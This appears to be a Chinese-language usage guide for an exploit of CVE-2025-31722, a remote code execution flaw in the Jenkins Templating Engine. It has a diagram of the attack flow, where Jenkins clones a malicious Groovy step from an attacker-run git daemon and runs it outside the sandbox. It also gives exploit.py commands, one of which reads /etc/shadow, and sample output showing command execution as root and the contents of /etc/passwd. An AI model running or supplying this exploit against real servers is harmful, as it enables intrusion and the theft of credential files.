攻击者 (Kali)                          Jenkins 服务器
───────────────                               ──────────────
1. 创建包含 evil.groovy 的 git 仓库
2. 在 :9418 启动 git daemon
3. 在 Jenkins 中创建文件夹          →    带 GovernanceTier 的文件夹
   指向 git://KALI:9418/…                   指向攻击者的仓库
4. 使用 AdHoc 模板创建作业             →    作业调用 evil()
5. 触发构建                           →    JTE 从 Kali 克隆仓库
                                         在沙箱外执行 evil()
                                     ←    以 Jenkins 用户身份执行 RCE

pip install requests

python3 exploit.py \
  --url http://<JENKINS-IP>:8080 \
  --user attacker \
  --pass attacker123 \
  --git-host <KALI-IP>

python3 exploit.py \
  --url http://<JENKINS-IP>:8080 \
  --user attacker \
  --pass attacker123 \
  --git-host <KALI-IP> \
  --cmd "cat /etc/shadow"

python3 exploit.py \
  --url http://<JENKINS-IP>:8080 \
  --user attacker \
  --pass attacker123 \
  --git-host <KALI-IP> \
  --cleanup

=================================================================
  CVE-2025-31722 — Jenkins Templating Engine RCE
  目标  : http://10.211.55.10:8080
  Git 主机: 10.211.55.7
  命令 : id && hostname && cat /etc/passwd
=================================================================

[+] 已验证身份: attacker (id=attacker)
[+] 仓库已创建: /root/jte-exploit
[+] 恶意步骤: evil-lib/steps/evil.groovy
[+] Git daemon 运行于 git://10.211.55.7:9418/jte-exploit
[+] 文件夹已创建
[+] 作业已创建
[+] 构建已排队

=================================================================
  CVE-2025-31722 — RCE 输出
=================================================================
[JTE] ...
uid=0(root) gid=0(root) groups=0(root)
debian
root:x:0:0:root:/root:/bin/bash
...
=================================================================